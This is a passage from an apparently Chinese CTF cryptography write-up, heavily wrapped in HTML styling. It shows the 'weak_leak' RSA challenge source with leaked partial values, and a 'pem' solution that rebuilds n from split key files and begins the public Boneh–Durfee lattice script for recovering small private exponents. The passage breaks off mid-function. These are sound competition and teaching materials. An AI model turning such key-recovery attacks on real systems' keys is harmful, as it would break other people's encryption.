no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">pcb5-weak_leak</span></span></h3><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">from</span></span><span leaf=""> Crypto.Util.number </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> *</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">from</span></span><span leaf=""> secret </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> FLAG,x,y</span><span leaf=""><br/></span><span leaf="">f0= bytes_to_long(FLAG[:len(FLAG)//</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">].encode())</span><span leaf=""><br/></span><span leaf="">f1= bytes_to_long(FLAG[len(FLAG)//</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">:].encode())</span><span leaf=""><br/></span><span leaf="">n= int(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">18443962106578943927922829208562388331564422618353954662348987125496135728205879853444693999188714508145409575298801277623433658530589571956301880815632542860363148763704636874275223979061507756787642735086825973011622866458454405794279633717255674221895468734500735123736684346340314680683830866884050311047424068122453972745273167956795195575475691048908906061023817574695902603984554911326264947716547564759877947888574515784489778380086664649338093680740990860192640619047071160362288611331225632270531304525264824445326394068892806774552310748255977040249822464839809344521107040968321810533993659358229305320413</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">c= int(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8176283809770578639445916571748890916863681496488338436815389781344271720445865752568007651231910205530735296305471880971422173915403956857863330698931559658909826642456860761540607878553228782799635976463090037022164739976302533892173751687781100980039065722082091714141141136171701360981540040678479802206949078162548124224838019262997441233919136963696523351831737708850863538007579105976954619102728135600542584651031405327214877358323388674864043740117718200022790892542634633918493245432384562983429810936975869853596007429259749282607844407676244954057886824475948603911174707176467261179324130051317766768127</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">gift1= int(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1293023064232431070902426583269468463</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">gift2= int(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">26161714402997656593966327522661504448812191236385246127313450633226841096347099194721417620572738092514050785292503472019045698167235604357096118735431692892202119807587271344465029467089266358735895706496467947787464475365718387614</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">m=getPrime(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1876</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">p=getPrime(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1024</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">q=getPrime(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1024</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">print(p,q)</span><span leaf=""><br/></span><span leaf="">n=p*q</span><span leaf=""><br/></span><span leaf="">e=</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">65537</span></span><span leaf=""><br/></span><span leaf="">c=pow(m,e,n)</span><span leaf=""><br/></span><span leaf="">print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;n=&#39;</span></span><span leaf="">,n)</span><span leaf=""><br/></span><span leaf="">print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;c=&#39;</span></span><span leaf="">,c)</span><span leaf=""><br/></span><span leaf="">print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;gift1=&#39;</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1293023064232431070902426583269468463</span></span><span leaf="">*x**</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">-105279230912868770223946474836383391725923</span></span><span leaf="">*y**</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;gift2=&#39;</span></span><span leaf="">,(p**</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">7</span></span><span leaf="">+q**</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">13</span></span><span leaf="">)&amp;(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">**</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">777</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">-1</span></span><span leaf="">))</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">assert</span></span><span leaf=""> (x*f0+y*f1)%m &lt;</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">**</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">99</span></span><span leaf=""><br/></span></code></pre><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.3729508196721312" data-type="png" data-w="732" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" data-imgfileid="100030128" src="https://wechat2rss.xlab.app/img-proxy/?k=5bb48a93&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBSIJEATW5gHm24hdvJoYjgFc0cVLUG2oY2JvmrpDeHyR46HHcEjEibRo9icaQTic7rPCaTNMo7ScicuMQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">budo的pem</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">先从公钥私钥文件中恢复n，e，私钥文件有n的开头，公钥文件有n的后半部分以及完整的e，拼起来得到完整的n，发现e非常大，使用boneh_durfee可以恢复d</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">from</span></span><span leaf=""> __future__ </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> print_function</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> time</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">############################################</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># Config</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">##########################################</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;&#34;&#34;</span><span leaf=""><br/></span><span leaf="">Setting debug to true will display more informations</span><span leaf=""><br/></span><span leaf="">about the lattice, the bounds, the vectors...</span><span leaf=""><br/></span><span leaf="">&#34;&#34;&#34;</span></span><span leaf="">debug = </span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">True</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;&#34;&#34;</span><span leaf=""><br/></span><span leaf="">Setting strict to true will stop the algorithm (and</span><span leaf=""><br/></span><span leaf="">return (-1, -1)) if we don&#39;t have a correct</span><span leaf=""><br/></span><span leaf="">upperbound on the determinant. Note that this</span><span leaf=""><br/></span><span leaf="">doesn&#39;t necesseraly mean that no solutions</span><span leaf=""><br/></span><span leaf="">will be found since the theoretical upperbound is</span><span leaf=""><br/></span><span leaf="">usualy far away from actual results. That is why</span><span leaf=""><br/></span><span leaf="">you should probably use `strict = False`</span><span leaf=""><br/></span><span leaf="">&#34;&#34;&#34;</span></span><span leaf="">strict = </span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">False</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;&#34;&#34;</span><span leaf=""><br/></span><span leaf="">This is experimental, but has provided remarkable results</span><span leaf=""><br/></span><span leaf="">so far. It tries to reduce the lattice as much as it can</span><span leaf=""><br/></span><span leaf="">while keeping its efficiency. I see no reason not to use</span><span leaf=""><br/></span><span leaf="">this option, but if things don&#39;t work, you should try</span><span leaf=""><br/></span><span leaf="">disabling it</span><span leaf=""><br/></span><span leaf="">&#34;&#34;&#34;</span></span><span leaf="">helpful_only = </span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">True</span></span><span leaf=""><br/></span><span leaf="">dimension_min = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">7</span></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># stop removing if lattice reaches that dimension</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">############################################</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># Functions</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">##########################################</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># display stats on helpful vectors</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">helpful_vectors</span></span><span style="line-height: 26px;"><span leaf="">(BB, modulus)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span leaf="">    nothelpful = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> ii </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(BB.dimensions()[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">]):</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> BB[ii,ii] &gt;= modulus:</span><span leaf=""><br/></span><span leaf="">            nothelpful += </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf=""><br/></span><span leaf="">    print(nothelpful, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;/&#34;</span></span><span leaf="">, BB.dimensions()[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">], </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34; vectors are not helpful&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># display matrix picture with 0 and X</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">matrix_overview</span></span><span style="line-height: 26px;"><span leaf="">(BB, bound)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> ii </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(BB.dimensions()[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">]):</span><span leaf=""><br/></span><span leaf="">        a = (</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;%02d &#39;</span></span><span leaf=""> % ii)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> jj </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(BB.dimensions()[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">]):</span><span leaf=""><br/></span><span leaf="">            a += </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;0&#39;</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> BB[ii,jj] == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">else</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;X&#39;</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> BB.dimensions()[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">] &lt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">60</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">                a += </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39; &#39;</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> BB[ii, ii] &gt;= bound:</span><span leaf=""><br/></span><span leaf="">            a += </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;~&#39;</span></span><span leaf=""><br/></span><span leaf="">        print(a)</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># tries to remove unhelpful vectors</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># we start at current = n-1 (last vector)</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">remove_unhelpful</span></span><span style="line-height: 26px;"><span leaf="">(BB, monomials, bound, current)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># end of our recursive function</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> current == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">-1</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">or</span></span><span leaf=""> BB.dimensions()[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">] &lt;= dimension_min:</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> BB</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># we start by checking from the end</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> ii </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(current, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">-1</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">-1</span></span><span leaf="">):</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># if it is unhelpful:</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> BB[ii, ii] &gt;= bound:</span><span leaf=""><br/></span><span leaf="">            affected_vectors = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf=""><br/></span><span leaf="">            affected_vector_index = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># let&#39;s check if it affects other vectors</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> jj </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(ii + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">, BB.dimensions()[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">]):</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># if another vector is affected:</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># we increase the count</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> BB[jj, ii] != </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">                    affected_vectors += </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf=""><br/></span><span leaf="">                    affected_vector_index = jj</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># level:0</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># if no other vectors end up affected</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># we remove it</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> affected_vectors == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">                print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;* removing unhelpful vector&#34;</span></span><span leaf="">, ii)</span><span leaf=""><br/></span><span leaf="">                BB = BB.delete_columns([ii])</span><span leaf=""><br/></span><span leaf="">                BB = BB.delete_rows([ii])</span><span leaf=""><br/></span><span leaf="">                monomials.pop(ii)</span><span leaf=""><br/></span><span leaf="">                BB = remove_unhelpful(BB, monomials, bound, ii</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">-1</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> BB</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># level:1</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># if just one was affected we check</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># if it is affecting someone else</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">elif</span></span><span leaf=""> affected_vectors == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">                affected_deeper = </span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">True</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> kk </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(affected_vector_index + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">, BB.dimensions()[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">]):</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># if it is affecting even one vector</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># we give up on this one</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> BB[kk, affected_vector_index] != </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">                        affected_deeper = </span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">False</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># remove both it if no other vector was affected and</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># this helpful vector is not helpful enough</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># compared to our unhelpful one</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> affected_deeper </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">and</span></span><span leaf=""> abs(bound - BB[affected_vector_index, affected_vector_index]) &lt; abs(bound - BB[ii, ii]):</span><span leaf=""><br/></span><span leaf="">                    print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;* removing unhelpful vectors&#34;</span></span><span leaf="">, ii, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;and&#34;</span></span><span leaf="">, affected_vector_index)</span><span leaf=""><br/></span><span leaf="">                    BB = BB.delete_columns([affected_vector_index, ii])</span><span leaf=""><br/></span><span leaf="">                    BB = BB.delete_rows([affected_vector_index, ii])</span><span leaf=""><br/></span><span leaf="">                    monomials.pop(affected_vector_index)</span><span leaf=""><br/></span><span leaf="">                    monomials.pop(ii)</span><span leaf=""><br/></span><span leaf="">                    BB = remove_unhelpful(BB, monomials, bound, ii</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">-1</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> BB</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># nothing happened</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> BB</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;&#34;&#34; </span><span leaf=""><br/></span><span leaf="">Returns:</span><span leaf=""><br/></span><span leaf="">* 0,0   if it fails</span><span leaf=""><br/></span><span leaf="">* -1,-1 if `strict=true`, and determinant doesn&#39;t bound</span><span leaf=""><br/></span><span leaf="">* x0,y0 the solutions of `pol`</span><span leaf=""><br/></span><span leaf="">&#34;&#34;&#34;</span></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">boneh_durfee</span></span><span style="line-height: 26px;"><span leaf="">(pol, modulus, mm, tt, XX, YY)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;&#34;&#34;</span><span leaf=""><br/></span><span leaf="">    Boneh and Durfee revisited by Herrmann and May</span><span leaf=""><br/></span><span leaf="">    finds a solution if:</span><span leaf=""><br/></span><span leaf="">    * d &lt; N^delta</span><span leaf=""><br/></span><span leaf="">    * |x| &lt; e^delta</span><span leaf=""><br/></span><span leaf="">    * |y| &lt; e^0.5</span><span leaf=""><br/></span><span leaf="">    whenever delta &lt; 1 - sqrt(2)/2 ~ 0.292</span><span leaf=""><br/></span><span leaf="">    &#34;&#34;&#34;</span></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># substitution (Herrman and May)</span></span><span leaf=""><br/></span><span leaf="">    PR.&lt;u, x, y&gt; = PolynomialRing(ZZ)</span><span leaf=""><br/></span><span leaf="">    Q = PR.quotient(x*y + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf=""> - u) </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># u = xy + 1</span></span><span leaf=""><br/></span><span leaf="">    polZ = Q(pol).lift()</span><span leaf=""><br/></span><span leaf="">    UU = XX*YY + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># x-shifts</span></span><span leaf=""><br/></span><span leaf="">    gg = []</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> kk </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(mm + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">):</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> ii </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(mm - kk + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">):</span><span leaf=""><br/></span><span leaf="">            xshift = x^ii * modulus^(mm - kk) * polZ(u, x, y)^kk</span><span leaf=""><br/></span><span leaf="">            gg.append(xshift)</span><span leaf=""><br/></span><span leaf="">    gg.sort()</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># x-shifts list of monomials</span></span><span leaf=""><br/></span><span leaf="">    monomials = []</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> polynomial </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> gg:</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> monomial </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> polynomial.monomials():</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> monomial 